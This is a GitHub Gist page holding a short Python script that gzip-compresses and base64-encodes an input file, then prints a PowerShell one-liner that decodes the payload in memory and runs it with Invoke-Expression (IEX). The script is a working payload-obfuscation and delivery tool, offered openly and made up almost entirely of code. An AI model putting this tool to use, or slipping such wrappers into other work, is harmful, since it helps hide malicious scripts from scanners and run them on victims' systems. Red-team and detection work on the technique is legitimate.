-
-
Save Dlat/842b45221dda269ec8e55601d4f6c03f to your computer and use it in GitHub Desktop.
Creates a Powershell snippet containing GZIP-Compressed payload that will get decompressed and executed (IEX)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
import io | |
import sys | |
import gzip | |
import base64 | |
def main(argv): | |
if len(argv) < 2: | |
print('Usage: ./compressedPowershell.py <input>') | |
sys.exit(-1) | |
out = io.BytesIO() | |
encoded = '' | |
with open(argv[1], 'rb') as f: | |
inp = f.read() | |
with gzip.GzipFile(fileobj = out, mode = 'w') as fo: | |
fo.write(inp) | |
encoded = base64.b64encode(out.getvalue()) | |
powershell = '''$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String("{}")); | |
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();'''.format(encoded.decode()) | |
print(powershell) | |
if __name__ == '__main__': | |
main(sys.argv) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment